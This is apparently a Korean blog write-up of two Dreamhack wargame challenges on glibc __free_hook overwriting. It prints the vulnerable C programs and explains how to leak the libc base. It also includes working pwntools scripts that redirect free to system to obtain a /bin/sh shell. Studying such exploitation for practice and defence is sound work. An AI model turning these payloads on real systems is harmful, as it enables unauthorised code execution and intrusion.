[dreamhack] fho, hook

[dreamhack] fho, hook

2024년 6월 29일

개요 #

일부 libc 함수는 함수가 호출되기 전에 호출하는 hook이 있는데, hook 함수주소를 overwrite해서 함수가 호출될 때 hook 대신 system 함수를 호출하도록 유도하는 공격이다.
이 공격기법은 libc 2.34 부터 막혔지만, canary, NX, full RELRO, PIE+ASLR 기법이 적용되더라도 공격이 가능한 방법이다.

fho #

정보수집 #

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <unistd.h>
 4
 5int main() {
 6  char buf[0x30];
 7  unsigned long long *addr;
 8  unsigned long long value;
 9
10  setvbuf(stdin, 0, _IONBF, 0);
11  setvbuf(stdout, 0, _IONBF, 0);
12
13  puts("[1] Stack buffer overflow");
14  printf("Buf: ");
15  read(0, buf, 0x100);
16  printf("Buf: %s\n", buf);
17
18  puts("[2] Arbitary-Address-Write");
19  printf("To write: ");
20  scanf("%llu", &addr);
21  printf("With: ");
22  scanf("%llu", &value);
23  printf("[%p] = %llu\n", addr, value);
24  *addr = value;
25
26  puts("[3] Arbitrary-Address-Free");
27  printf("To free: ");
28  scanf("%llu", &addr);
29  free(addr);
30
31  return 0;
32}

공격 #

main의 리턴 주소? #

3ab5febd-20bc-4ae5-885d-605403bf8559

hook은 libc의 bss 영역에 있기 때문에 libc의 베이스 주소를 알아와야 한다.
basic_rop에서 했던 것처럼 got영역을 이용할 수도 있지만, 한번 plt를 호출해서 리졸버를 확인해야되고, 일반적인 프로그래밍에서 got영역을 출력해줄 일은 없기 떄문에 원하는 함수를 이미 호출할 수 있어야한다.

libc는 다른 라이브러리와는 다르게 main 함수를 호출해주는 __libc_start_main 이라는 함수가 포함되어 있으며, 이 함수의 인자로 main함수의 포인터를 전달받아서 main을 호출할 수 있게 되는것이다.

그렇다면 main의 리턴 주소는 뭘까? gdb에서 main 엔트리로 들어가면 __libc_start_main+243 으로 리턴하는 것을 볼 수 있다. 243 위치인것도 당연히 라이브러리마다 다르다.

f37f76a0-2c0d-4b73-befe-92fe3bee7098

공격 순서 #

  1. libc의 free_hook 에 system 함수의 주소를 overwrite 해서 대신 호출하도록 해야되기 때문에 free_hook의 위치, system 함수 주소, /bin/sh 문자열의 주소를 알아야 한다. 세개 모두 오프셋은 libc 바이너리를 확인하면 되고, libc의 베이스 주소만 알아내면 된다.
  2. 문제에서는 원하는 위치에 원하는 값을 적을 수 있기 때문에 더이상 할게 없다.

페이로드 #

 1p.recvuntil(b'\nBuf: ')
 2p.sendline(b'A'*0x47)
 3p.recvuntil(b'AAAA\n')
 4
 5### 주의할점은 printf로 %s 가 출력된 값이기 때문에 \x00은 짤리게된다.
 6main_ret_addr = u64(p.recv(0x6) + b'\x00\x00')
 7
 8# __libc_start_main이 libc의 함수이기 때문에 libc의 base_addr이 된다. 
 9base_addr = main_ret_addr - el.symbols['__libc_start_main'] - 243
10# 또는 base_addr = main_ret_addr - el.libc_start_main_return (예약어인듯)
11free_hook_addr = base_addr + el.symbols['__free_hook']
12system_addr = base_addr + el.symbols['system']
13binsh_addr = base_addr + next(el.search(b'/bin/sh'))
14
15### 이후 과정은 그냥 원하는 메모리 주소를 전달하는 것 밖에 없다. 
16p.recvuntil(b'To write: ')
17# scanf로 입력받기 때문에 sendline을 사용해야 한다. 
18p.sendline(str(free_hook_addr).encode())
19p.recvuntil(b'With: ')
20p.sendline(str(system_addr).encode())
21p.recvuntil('To free: ')
22p.sendline(str(binsh_addr).encode())
23
24p.interactive()

hook #

이 문제는 사실 어렵진 않지만, hook을 좀더 생각해볼 수 있는 문제라 같이 정리한다.
hook 주소도 역시 got처럼 데이터 영역임을 기억하자.

정보수집 #

문제에서는 ptr에 힙 영역을 할당받아 주소를 전달하고, ptr+1 위치의 값을 ptr이 가리키는 주소의 값에 넣는다.
이후에는 free로 해제하는데 연속으로 2번 해제하면서 double free 문제도 발생한다.

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <signal.h>
 4#include <unistd.h>
 5
 6void alarm_handler() {
 7    puts("TIME OUT");
 8    exit(-1);
 9}
10
11void initialize() {
12    setvbuf(stdin, NULL, _IONBF, 0);
13    setvbuf(stdout, NULL, _IONBF, 0);
14    signal(SIGALRM, alarm_handler);
15    alarm(60);
16}
17
18int main(int argc, char *argv[]) {
19    long *ptr;
20    size_t size;
21
22    initialize();
23
24    printf("stdout: %p\n", stdout);
25
26    printf("Size: ");
27    scanf("%ld", &size);
28
29    ptr = malloc(size);
30
31    printf("Data: ");
32    read(0, ptr, size);
33
34    *(long *)*ptr = *(ptr+1);
35
36    free(ptr);
37    free(ptr);
38
39    system("/bin/sh");
40    return 0;
41}

공격 #

공격 시나리오 #

  1. free를 두번하는 double free는 어떤 경우도 피해갈 수 없기 때문에 free의 훅에서 쉘을 얻어야 하는 것을 알 수 있다.
  2. ptr에 저장된 값은 저장이 가능해야하며, 코드 중간에 ptr+1 의 값을 저장하는 것을 알 수 있는데, Data에서 입력받을때 ptr+1에 원하는 값을 넣으면된다.
  3. 아래에서는 공교롭게도 내가 원하는 시스템 함수가 있으며, checksec의 결과로 PIE가 적용되지 않음을 알 수 있기 때문에 그냥 main에서 호출하는 이 주소를 전달해주면 될 것 이다. (원샷 가젯을 사용해도 괜찮음)
  4. 결국에는 **ptr 위치에 쉘 획득 함수를 넣어둬야 되고, *ptr에는 값을 쓸 수 있는 위치(free_hook 등)면 된다.
  5. 시스템 함수는 rdi 에 “/bin/sh” 문자열을 넣는 것을 생각해서 파라미터 세팅부터 실행시켜야된다.

ebe2684f-b0b7-4e22-b97f-3de9d2344fee

페이로드에서 stdout으로 libc의 base를 얻는 것을 확인할 수 있는데 libc에서 검색해보면 stdout이 3개나 된다.

8b47953c-43b9-4ccf-a8ab-df086fd50408

세개의 객체 모두 버전 별 stdout이지만, stdout이 저장하고있는 포인터를 출력했을 때 어떤 객체를 가리키는지는 알 수 없기 때문에 셋다 해봐야 알 수 있고, 실제 문제 환경에서는 __IO_2_1_stdout 객체를 가리키고 있었다.

페이로드 #

 1p.recvuntil(b'stdout: ')
 2msg = p.recvline()
 3stdout_addr = int(msg[:-1], 16)
 4print(hex(stdout_addr))
 5
 6base_addr = stdout_addr - el.symbols['_IO_2_1_stdout_']
 7
 8free_hook_addr = base_addr + el.symbols['__free_hook']
 9system_addr = 0x400a11
10
11print(p.recvuntil(b'Size: '))
12p.sendline(str(0x10).encode())
13
14print(p.recvuntil(b'Data: '))
15
16payload = p64(free_hook_addr) + p64(system_addr)
17
18p.send(payload)
19
20p.interactive()

기억할점 #

  1. 함수의 호출은 결국 특정 코드 주소의 명령을 순서대로 실행할 뿐이다. 프롤로그, 에필로그가 없더라도 어떤 코드든 실행은 가능하다. (이후 스택이 깨지거나 할 순 있지만..)
  2. hook들도 .bss영역의 데이터일 뿐이다. hook의 주소에 접근해야 실제 후킹 함수의 주소를 얻을 수 있다.
comments powered by Disqus